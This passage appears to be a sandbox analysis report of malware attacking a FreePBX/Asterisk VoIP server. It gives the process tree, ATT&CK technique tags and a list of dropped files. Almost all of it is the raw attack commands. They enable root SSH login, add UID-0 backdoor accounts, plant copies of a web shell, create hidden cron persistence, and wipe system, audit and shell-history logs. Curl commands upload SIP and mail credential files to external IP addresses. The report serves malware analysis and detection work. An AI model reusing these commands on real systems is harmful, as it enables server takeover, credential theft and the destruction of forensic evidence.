/usr/sbin/chpasswdchpasswd -e3⤵
- OS Credential Dumping
-
-
/bin/sedsed -i "s/^#Port .*/Port 22/" /etc/ssh/sshd_config3⤵
-
-
/bin/sedsed -i "s/^Port .*/Port 22/" /etc/ssh/sshd_config3⤵
- Reads runtime system information
-
-
/bin/sedsed -i "s/^#PermitRootLogin .*/PermitRootLogin yes/" /etc/ssh/sshd_config3⤵
-
-
/bin/sedsed -i "s/^PermitRootLogin .*/PermitRootLogin yes/" /etc/ssh/sshd_config3⤵
-
-
/bin/systemctlsystemctl reload sshd3⤵
-
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 22 -j ACCEPT3⤵
-
-
/usr/bin/findfind /var/log/httpd/ -maxdepth 1 -name "*.log" -type f -exec sed -i /restapps/d "{}" ";"3⤵
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/bin/mkdirmkdir -p /usr/lib/.systemd /usr/share/.fonts /var/lib/.dbus /var/tmp/.X11 /opt/.local /var/cache/.fontconfig /etc/.ssl /root/.config3⤵
- Reads runtime system information
-
-
/usr/bin/dirnamedirname /usr/lib/.systemd/.cache3⤵
-
-
/bin/mkdirmkdir -p /usr/lib/.systemd3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /usr/lib/.systemd/.cache3⤵
-
-
/usr/bin/dirnamedirname /usr/share/.fonts/.config3⤵
-
-
/bin/mkdirmkdir -p /usr/share/.fonts3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /usr/share/.fonts/.config3⤵
-
-
/usr/bin/dirnamedirname /var/lib/.dbus/.data3⤵
-
-
/bin/mkdirmkdir -p /var/lib/.dbus3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /var/lib/.dbus/.data3⤵
-
-
/usr/bin/dirnamedirname /var/tmp/.X11/.Xauthority3⤵
-
-
/bin/mkdirmkdir -p /var/tmp/.X113⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /var/tmp/.X11/.Xauthority3⤵
-
-
/usr/bin/dirnamedirname /opt/.local/.bashrc3⤵
-
-
/bin/mkdirmkdir -p /opt/.local3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /opt/.local/.bashrc3⤵
-
-
/usr/bin/dirnamedirname /var/cache/.fontconfig/.cfg3⤵
-
-
/bin/mkdirmkdir -p /var/cache/.fontconfig3⤵
- Reads runtime system information
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /var/cache/.fontconfig/.cfg3⤵
-
-
/usr/bin/dirnamedirname /etc/.ssl/.cert3⤵
-
-
/bin/mkdirmkdir -p /etc/.ssl3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /etc/.ssl/.cert3⤵
-
-
/usr/bin/dirnamedirname /root/.config/.pref3⤵
-
-
/bin/mkdirmkdir -p /root/.config3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /root/.config/.pref3⤵
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/findfind /var/log -name "*.log" -exec sh -c "cat /dev/null > {}" ";"3⤵
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
- Deletes Audit logs
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
-
/bin/rmrm -rf "/var/log/secure*" "/var/log/messages*" /var/log/auth.log "/var/log/httpd/*" "/var/log/nginx/*" "/var/log/apache2/*"3⤵
- Deletes log files
-
-
/bin/rmrm -f /root/.bash_history /root/.zsh_history3⤵
-
-
-
/usr/bin/curlcurl http://160.119.69.4/x -ks2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/h.php2⤵
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx3⤵
- Adds a user to the system
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax3⤵
- Adds a user to the system
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx3⤵
- Adds a user to the system
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax3⤵
- Adds a user to the system
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/mkdirmkdir -p /var/www/html/rest_phones/2⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/h/2⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/fpbxphones/2⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/phones/2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/h.php2⤵
- Reads runtime system information
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/config.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/config.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/config.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/index.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/index.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/index.php2⤵
-
-
/usr/bin/touchtouch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php2⤵
-
-
/bin/chmodchmod +x /var/www/html/admin/views/ajax.php2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/chattrchattr +i /var/www/html/admin/views/ajax.php2⤵
-
-
/usr/bin/chattrchattr +a /var/www/html/admin/views/ajax.php2⤵
-
-
/usr/bin/chattrchattr +i /var/www/html/h.php2⤵
-
-
/usr/bin/chattrchattr +a /var/www/html/h.php2⤵
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash /tmp/test.sh2⤵
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/freepbx_ha/3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/rmrm -f /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/lsls -la3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
-
/bin/rmrm -rf /tmp/test.sh2⤵
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash /var/spool/asterisk/tmp/test.sh2⤵
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/freepbx_ha/3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/rmrm -f /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/lsls -la3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
-
/bin/rmrm -rf /var/spool/asterisk/tmp/test.sh2⤵
-
-
/bin/bashbash2⤵
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_registrations.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/manager.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.identify.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.transports.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.aor.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.auth.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_general_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/postfix/sasl_passwd" http://45.95.147.178/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_custom.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/freepbx.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/issabel.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/elastix.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_registrations.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/manager.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.identify.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.transports.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.aor.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.auth.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_general_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/postfix/sasl_passwd" http://160.119.69.4/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_custom.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/freepbx.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/issabel.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/elastix.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
1RC Scripts
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Modify Authentication Process
1Pluggable Authentication Modules
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
1RC Scripts
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Defense Evasion
Deobfuscate/Decode Files or Information
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Indicator Removal
2Clear Linux or Mac System Logs
2Modify Authentication Process
1Pluggable Authentication Modules
1Replay Monitor
Loading Replay Monitor...
Downloads
sedSUoZHG
sedhC193F
group+
group+
group+
group+
group+
group+
gshadow+
gshadow+
gshadow+
gshadow+
gshadow+
gshadow+
passwd
passwd+
passwd+
passwd+
passwd+
passwd+
passwd+
sedXKWo0U
sedZldrpG
sedpjI47B
shadow+
shadow+
shadow+
shadow+
shadow+
shadow+
sedKMBpuC
sedkXvvmA
subuid+
subuid+
subuid+
subuid+
subuid+
.bash_logout
.bashrc
.profile
examples.desktop
.bash_profile
.bash_profile
test.sh
.cache
tmp.6cFo29
tmp.8WbefK
tmp.Di0XtZ
tmp.OcKQ9G
tmp.QoYzT7
tmp.S1SCr3
tmp.Sd3cJK
tmp.o7hLo6
tmp.ojhpP5